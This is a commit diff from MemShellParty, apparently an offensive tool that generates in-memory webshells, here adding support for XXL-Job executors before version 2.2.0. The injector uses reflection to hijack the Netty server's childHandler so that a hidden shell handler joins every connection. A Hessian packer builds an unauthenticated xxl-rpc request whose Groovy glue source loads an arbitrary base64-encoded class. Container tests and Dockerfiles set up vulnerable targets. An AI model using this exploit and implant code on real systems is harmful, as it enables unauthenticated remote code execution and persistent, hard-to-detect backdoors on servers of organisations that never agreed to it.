mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: suitable for xxl-job < 2.2.0 #151
This commit is contained in:
+56
-36
@@ -1,13 +1,8 @@
|
||||
package com.reajason.javaweb.memshell.injector.xxljob;
|
||||
|
||||
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
|
||||
import com.xxl.job.core.server.EmbedServer;
|
||||
import io.netty.channel.ChannelHandler;
|
||||
import io.netty.channel.ChannelInitializer;
|
||||
import io.netty.channel.socket.SocketChannel;
|
||||
import io.netty.handler.codec.http.HttpObjectAggregator;
|
||||
import io.netty.handler.codec.http.HttpServerCodec;
|
||||
import io.netty.handler.timeout.IdleStateHandler;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
@@ -15,11 +10,8 @@ import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashSet;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.LinkedBlockingQueue;
|
||||
import java.util.concurrent.ThreadPoolExecutor;
|
||||
import java.util.concurrent.TimeUnit;
|
||||
import java.util.UUID;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
@@ -43,8 +35,11 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
return;
|
||||
}
|
||||
try {
|
||||
inject();
|
||||
msg += "[/*] ready\n";
|
||||
if (inject()) {
|
||||
msg += "[/*] ready\n";
|
||||
} else {
|
||||
msg += "failed, server channel not found\n";
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
@@ -58,25 +53,28 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
|
||||
private static Class<?> handlerClass;
|
||||
private static ChannelHandler originalChildHandler;
|
||||
private final String handlerName = UUID.randomUUID().toString();
|
||||
|
||||
@Override
|
||||
protected void initChannel(SocketChannel channel) throws Exception {
|
||||
if (channel.pipeline().get(handlerName) != null) {
|
||||
return;
|
||||
}
|
||||
ChannelHandler channelHandler = (ChannelHandler) handlerClass.newInstance();
|
||||
channel.pipeline()
|
||||
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))
|
||||
.addLast(new HttpServerCodec())
|
||||
.addLast(new HttpObjectAggregator(5 * 1024 * 1024))
|
||||
.addLast(channelHandler)
|
||||
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
|
||||
0,
|
||||
200,
|
||||
60L,
|
||||
TimeUnit.SECONDS,
|
||||
new LinkedBlockingQueue<>(2000),
|
||||
r -> new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode()),
|
||||
(r, executor) -> {
|
||||
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
|
||||
})));
|
||||
channel.pipeline().addLast(originalChildHandler);
|
||||
String httpCodecName = null;
|
||||
for (String name : channel.pipeline().names()) {
|
||||
if (name.contains("HttpObjectAggregator")) {
|
||||
httpCodecName = name;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (httpCodecName != null) {
|
||||
channel.pipeline().addAfter(httpCodecName, handlerName, channelHandler);
|
||||
} else {
|
||||
channel.pipeline().addFirst(handlerName, channelHandler);
|
||||
}
|
||||
}
|
||||
|
||||
private Class<?> getShellClass(Object context) throws Exception {
|
||||
@@ -91,28 +89,50 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
|
||||
}
|
||||
}
|
||||
|
||||
public void inject() throws Exception {
|
||||
public boolean inject() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
|
||||
Object target;
|
||||
try {
|
||||
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
|
||||
Object innerRunnable = getFieldValue(getFieldValue(thread, "target"), "runnable");
|
||||
Field evField = getField(innerRunnable.getClass(), "val$eventExecutor");
|
||||
if (evField == null) {
|
||||
evField = getField(innerRunnable.getClass(), "this$0");
|
||||
}
|
||||
if (evField == null) {
|
||||
continue;
|
||||
}
|
||||
target = evField.get(innerRunnable);
|
||||
if (target.getClass().getName().endsWith("NioEventLoop")) {
|
||||
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
if (!set.isEmpty()) {
|
||||
Object keys = set.toArray()[0];
|
||||
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
|
||||
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
|
||||
handlerClass = getShellClass(embedHttpServerHandler);
|
||||
setFieldValue(embedHttpServerHandler, "childHandler", this);
|
||||
return;
|
||||
Set<?> set = (Set<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
|
||||
for (Object key : set.toArray()) {
|
||||
try {
|
||||
Object pipeline = getFieldValue(((java.nio.channels.SelectionKey) key).attachment(), "pipeline");
|
||||
Object tail = getFieldValue(pipeline, "tail");
|
||||
Object prevContext = getFieldValue(tail, "prev");
|
||||
Object acceptor = getFieldValue(prevContext, "handler");
|
||||
if (acceptor == null || !acceptor.getClass().getName().contains("ServerBootstrapAcceptor")) {
|
||||
continue;
|
||||
}
|
||||
Field childHandlerField = getField(acceptor.getClass(), "childHandler");
|
||||
if (childHandlerField == null) {
|
||||
continue;
|
||||
}
|
||||
childHandlerField.setAccessible(true);
|
||||
originalChildHandler = (ChannelHandler) childHandlerField.get(acceptor);
|
||||
handlerClass = getShellClass(acceptor);
|
||||
childHandlerField.set(acceptor, this);
|
||||
return true;
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.0.2-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.0.2-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -0,0 +1,17 @@
|
||||
services:
|
||||
admin:
|
||||
image: reajason/xxl-job:2.1.2-admin
|
||||
depends_on:
|
||||
- db
|
||||
ports:
|
||||
- "8080:8080"
|
||||
executor:
|
||||
image: reajason/xxl-job:2.1.2-executor
|
||||
depends_on:
|
||||
- admin
|
||||
ports:
|
||||
- "9999:9999"
|
||||
db:
|
||||
image: mysql:8
|
||||
environment:
|
||||
- MYSQL_ROOT_PASSWORD=root
|
||||
@@ -447,6 +447,7 @@ public class ShellAssertion {
|
||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
|
||||
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
||||
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||
|
||||
@@ -6,6 +6,7 @@ import okhttp3.*;
|
||||
import org.junit.jupiter.api.Assertions;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
@@ -78,6 +79,23 @@ public class VulTool {
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
|
||||
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
|
||||
Request request = new Request.Builder()
|
||||
.url(url)
|
||||
.post(body)
|
||||
.addHeader("Connection", "close")
|
||||
.build();
|
||||
log.info("sending hessian2 xxl-rpc request to: {}", url);
|
||||
try (Response response = client.newCall(request).execute()) {
|
||||
log.info("xxl-rpc hessian2 response code: {}", response.code());
|
||||
Thread.sleep(1000);
|
||||
}
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static void xxlJobExecutor(String url, String data) {
|
||||
OkHttpClient client = new OkHttpClient();
|
||||
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob202ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob202";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-202.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob212ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob212";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-212.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJobHessian);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V1_8, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
package com.reajason.javaweb.integration.memshell.xxljob;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.ComposeContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/22
|
||||
*/
|
||||
@Testcontainers
|
||||
@Slf4j
|
||||
public class XxlJob250ContainerTest {
|
||||
|
||||
public static final String imageName = "xxljob/xxljob250";
|
||||
|
||||
@Container
|
||||
public static final ComposeContainer compose =
|
||||
new ComposeContainer(new File("docker-compose/xxl-job/docker-compose-250.yaml"))
|
||||
.withExposedService("executor", 9999);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.XXLJOB;
|
||||
List<String> supportedShellTypes = List.of(ShellType.NETTY_HANDLER);
|
||||
List<Packers> testPackers = List.of(Packers.XxlJob);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = compose.getContainerByServiceName("executor").get().getLogs();
|
||||
log.info("container stopped, logs is : {}", logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(), Server.XXLJOB, shellType, shellTool, Opcodes.V17, packer);
|
||||
}
|
||||
|
||||
public static String getUrl() {
|
||||
String host = compose.getServiceHost("executor", 9999);
|
||||
int port = compose.getServicePort("executor", 9999);
|
||||
String url = "http://" + host + ":" + port;
|
||||
log.info("container started, app url is : {}", url);
|
||||
return url;
|
||||
}
|
||||
}
|
||||
@@ -50,6 +50,9 @@ import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobHessianPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobJsonPacker;
|
||||
import com.reajason.javaweb.packer.xxljob.XxlJobPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
@@ -180,6 +183,8 @@ public enum Packers {
|
||||
GroovyTransformJar(new GroovyTransformJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
XxlJobJson(new XxlJobJsonPacker(), XxlJobPacker.class),
|
||||
XxlJobHessian(new XxlJobHessianPacker(), XxlJobPacker.class),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Util;
|
||||
import com.xxl.job.core.biz.model.TriggerParam;
|
||||
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.Base64;
|
||||
import java.util.UUID;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/07/14
|
||||
*/
|
||||
public class XxlJobHessianPacker implements Packer {
|
||||
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String source = template.replace("{{className}}", config.getClassName())
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||
|
||||
TriggerParam triggerParam = new TriggerParam();
|
||||
triggerParam.setJobId(1);
|
||||
triggerParam.setExecutorHandler("demoJobHandler");
|
||||
triggerParam.setExecutorParams("demoJobHandler");
|
||||
triggerParam.setExecutorBlockStrategy("COVER_EARLY");
|
||||
triggerParam.setExecutorTimeout(0);
|
||||
triggerParam.setLogId(1);
|
||||
triggerParam.setLogDateTime(System.currentTimeMillis());
|
||||
triggerParam.setGlueType("GLUE_GROOVY");
|
||||
triggerParam.setGlueSource(source);
|
||||
triggerParam.setGlueUpdatetime(System.currentTimeMillis());
|
||||
triggerParam.setBroadcastIndex(0);
|
||||
triggerParam.setBroadcastTotal(0);
|
||||
|
||||
XxlRpcRequest rpcRequest = new XxlRpcRequest();
|
||||
rpcRequest.setRequestId(UUID.randomUUID().toString());
|
||||
rpcRequest.setCreateMillisTime(System.currentTimeMillis());
|
||||
rpcRequest.setAccessToken(null);
|
||||
rpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
|
||||
rpcRequest.setMethodName("run");
|
||||
rpcRequest.setParameterTypes(new Class<?>[]{TriggerParam.class});
|
||||
rpcRequest.setParameters(new Object[]{triggerParam});
|
||||
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.writeObject(rpcRequest);
|
||||
hessian2Output.flush();
|
||||
return Base64.getEncoder().encodeToString(bos.toByteArray());
|
||||
}
|
||||
}
|
||||
+5
-2
@@ -1,7 +1,10 @@
|
||||
package com.reajason.javaweb.packer;
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.SerializationFeature;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Util;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.HashMap;
|
||||
@@ -11,7 +14,7 @@ import java.util.Map;
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements Packer {
|
||||
public class XxlJobJsonPacker implements Packer {
|
||||
private final String template = Util.loadTemplateFromResource("/memshell-party/XXL-Job-DefineClass.java");
|
||||
private final ObjectMapper objectMapper = new ObjectMapper().enable(SerializationFeature.INDENT_OUTPUT);
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
package com.reajason.javaweb.packer.xxljob;
|
||||
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/21
|
||||
*/
|
||||
public class XxlJobPacker implements AggregatePacker {
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package com.xxl.job.core.biz.model;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public class TriggerParam implements Serializable {
|
||||
private static final long serialVersionUID = 42L;
|
||||
|
||||
private int jobId;
|
||||
private String executorHandler;
|
||||
private String executorParams;
|
||||
private String executorBlockStrategy;
|
||||
private int executorTimeout;
|
||||
private long logId;
|
||||
private long logDateTime;
|
||||
private String glueType;
|
||||
private String glueSource;
|
||||
private long glueUpdatetime;
|
||||
private int broadcastIndex;
|
||||
private int broadcastTotal;
|
||||
|
||||
public int getJobId() { return jobId; }
|
||||
public void setJobId(int jobId) { this.jobId = jobId; }
|
||||
|
||||
public String getExecutorHandler() { return executorHandler; }
|
||||
public void setExecutorHandler(String executorHandler) { this.executorHandler = executorHandler; }
|
||||
|
||||
public String getExecutorParams() { return executorParams; }
|
||||
public void setExecutorParams(String executorParams) { this.executorParams = executorParams; }
|
||||
|
||||
public String getExecutorBlockStrategy() { return executorBlockStrategy; }
|
||||
public void setExecutorBlockStrategy(String executorBlockStrategy) { this.executorBlockStrategy = executorBlockStrategy; }
|
||||
|
||||
public int getExecutorTimeout() { return executorTimeout; }
|
||||
public void setExecutorTimeout(int executorTimeout) { this.executorTimeout = executorTimeout; }
|
||||
|
||||
public long getLogId() { return logId; }
|
||||
public void setLogId(long logId) { this.logId = logId; }
|
||||
|
||||
public long getLogDateTime() { return logDateTime; }
|
||||
public void setLogDateTime(long logDateTime) { this.logDateTime = logDateTime; }
|
||||
|
||||
public String getGlueType() { return glueType; }
|
||||
public void setGlueType(String glueType) { this.glueType = glueType; }
|
||||
|
||||
public String getGlueSource() { return glueSource; }
|
||||
public void setGlueSource(String glueSource) { this.glueSource = glueSource; }
|
||||
|
||||
public long getGlueUpdatetime() { return glueUpdatetime; }
|
||||
public void setGlueUpdatetime(long glueUpdatetime) { this.glueUpdatetime = glueUpdatetime; }
|
||||
|
||||
public int getBroadcastIndex() { return broadcastIndex; }
|
||||
public void setBroadcastIndex(int broadcastIndex) { this.broadcastIndex = broadcastIndex; }
|
||||
|
||||
public int getBroadcastTotal() { return broadcastTotal; }
|
||||
public void setBroadcastTotal(int broadcastTotal) { this.broadcastTotal = broadcastTotal; }
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.xxl.rpc.remoting.net.params;
|
||||
|
||||
import java.io.Serializable;
|
||||
|
||||
public class XxlRpcRequest implements Serializable {
|
||||
private static final long serialVersionUID = 42L;
|
||||
|
||||
private String requestId;
|
||||
private long createMillisTime;
|
||||
private String accessToken;
|
||||
|
||||
private String className;
|
||||
private String methodName;
|
||||
private Class<?>[] parameterTypes;
|
||||
private Object[] parameters;
|
||||
|
||||
public String getRequestId() { return requestId; }
|
||||
public void setRequestId(String requestId) { this.requestId = requestId; }
|
||||
|
||||
public long getCreateMillisTime() { return createMillisTime; }
|
||||
public void setCreateMillisTime(long createMillisTime) { this.createMillisTime = createMillisTime; }
|
||||
|
||||
public String getAccessToken() { return accessToken; }
|
||||
public void setAccessToken(String accessToken) { this.accessToken = accessToken; }
|
||||
|
||||
public String getClassName() { return className; }
|
||||
public void setClassName(String className) { this.className = className; }
|
||||
|
||||
public String getMethodName() { return methodName; }
|
||||
public void setMethodName(String methodName) { this.methodName = methodName; }
|
||||
|
||||
public Class<?>[] getParameterTypes() { return parameterTypes; }
|
||||
public void setParameterTypes(Class<?>[] parameterTypes) { this.parameterTypes = parameterTypes; }
|
||||
|
||||
public Object[] getParameters() { return parameters; }
|
||||
public void setParameters(Object[] parameters) { this.parameters = parameters; }
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
@groovy.transform.CompileStatic
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-admin \
|
||||
&& sed -i 's/spring\.datasource\.password=.*/spring.datasource.password=root/g' src/main/resources/application.properties \
|
||||
&& sed -i 's|mysql://127\.0\.0\.1:3306|mysql://db:3306|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM eclipse-temurin:8-jdk
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it default-mysql-client \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-admin/target/xxl-job-admin-2.1.2.jar /usr/src/xxl-job-admin-2.1.2.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
COPY --from=builder /usr/src/doc/db/tables_xxl_job.sql /usr/src/tables_xxl_job.sql
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-admin-2.1.2.jar"]
|
||||
@@ -0,0 +1,9 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
wait-for-it -t 0 db:3306
|
||||
if [[ $(mysql -hdb -uroot -proot -e "SHOW DATABASES LIKE 'xxl_job';") == "" ]]; then
|
||||
mysql -hdb -uroot -proot < /usr/src/tables_xxl_job.sql
|
||||
fi
|
||||
|
||||
exec "$@"
|
||||
@@ -0,0 +1,23 @@
|
||||
FROM maven:3.9.9-eclipse-temurin-8 AS builder
|
||||
|
||||
RUN set -ex \
|
||||
&& cd /usr/src \
|
||||
&& git clone --depth 1 -b 2.1.2 https://github.com/xuxueli/xxl-job.git . \
|
||||
&& cd xxl-job-executor-samples/xxl-job-executor-sample-springboot \
|
||||
&& sed -i 's|xxl\.job\.admin\.addresses=.*|xxl.job.admin.addresses=http://admin:8080/xxl-job-admin|g' src/main/resources/application.properties \
|
||||
&& sed -i 's|xxl\.job\.executor\.logpath=.*|xxl.job.executor.logpath=/var/log/xxl-job|g' src/main/resources/application.properties \
|
||||
&& mvn clean package -DskipTests
|
||||
|
||||
FROM eclipse-temurin:8-jdk
|
||||
|
||||
RUN set -ex \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y --no-install-recommends wait-for-it \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /usr/src/xxl-job-executor-samples/xxl-job-executor-sample-springboot/target/xxl-job-executor-sample-springboot-2.1.2.jar /usr/src/xxl-job-executor-sample-springboot-2.1.2.jar
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT ["/docker-entrypoint.sh"]
|
||||
CMD ["java", "-jar", "/usr/src/xxl-job-executor-sample-springboot-2.1.2.jar"]
|
||||
@@ -0,0 +1,7 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
|
||||
wait-for-it -t 0 admin:8080
|
||||
|
||||
exec "$@"
|
||||
Reference in New Issue
Block a user